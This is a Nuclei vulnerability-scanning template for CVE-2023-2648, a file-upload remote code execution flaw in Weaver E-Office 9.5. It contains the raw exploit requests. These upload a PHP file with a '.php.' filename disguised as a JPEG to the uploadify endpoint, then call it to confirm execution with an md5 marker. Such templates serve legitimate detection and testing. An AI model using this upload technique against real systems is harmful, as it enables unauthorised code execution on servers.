nuclei-templates/http/cves/2023/CVE-2023-2648.yaml

74 lines
2.7 KiB
YAML
Raw Normal View History

2023-09-05 12:32:23 +00:00
id: CVE-2023-2648
info:
name: Weaver E-Office 9.5 - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
A vulnerability was found in Weaver E-Office 9.5. It has been classified as critical. This affects an unknown part of the file /inc/jquery/uploadify/uploadify.php. The manipulation of the argument Filedata leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-228777 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
2023-09-06 11:43:37 +00:00
remediation: |
Apply the latest security patch or upgrade to a patched version of Weaver E-Office.
2023-09-05 12:32:23 +00:00
reference:
- https://github.com/sunyixuan1228/cve/blob/main/weaver.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-2648
2023-10-14 11:27:55 +00:00
- https://vuldb.com/?ctiid.228777
- https://vuldb.com/?id.228777
2023-09-05 12:32:23 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2023-09-06 11:43:37 +00:00
cve-id: CVE-2023-2648
2023-09-05 12:32:23 +00:00
cwe-id: CWE-434
epss-score: 0.05261
epss-percentile: 0.92213
2023-10-14 11:27:55 +00:00
cpe: cpe:2.3:a:weaver:e-office:9.5:*:*:*:*:*:*:*
2023-09-05 12:32:23 +00:00
metadata:
verified: true
2023-09-06 11:43:37 +00:00
max-request: 2
2023-10-14 11:27:55 +00:00
vendor: weaver
product: e-office
2023-09-05 12:32:23 +00:00
fofa-query: app="泛微-EOffice"
2023-10-14 11:27:55 +00:00
tags: cve,cve2023,weaver,eoffice,ecology,fileupload,rce,intrusive
2023-09-05 12:32:23 +00:00
variables:
file: '{{rand_base(5, "abc")}}'
http:
- raw:
- |
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="Filedata"; filename="{{file}}.php."
Content-Type: image/jpeg
<?php echo md5('CVE-2023-2648');?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
- |
POST /attachment/{{name}}/{{file}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "747711c62dffae7dbf726d8241bd07fe"
- type: status
part: body_2
status:
- 200
extractors:
- type: regex
name: name
part: body
group: 1
regex:
- "([0-9]+)"
internal: true
# digest: 4a0a0047304502202595fcd290e0ad3a28c1b8ace11a6578ec5d0e8c4d4a87266f54087b7e8f9ab70221009f677e9b81990f40be4f94bd5adc608ed93cc514c6f9171a24541adf3cd950fb:922c64590222798bb761d5b6d8e72950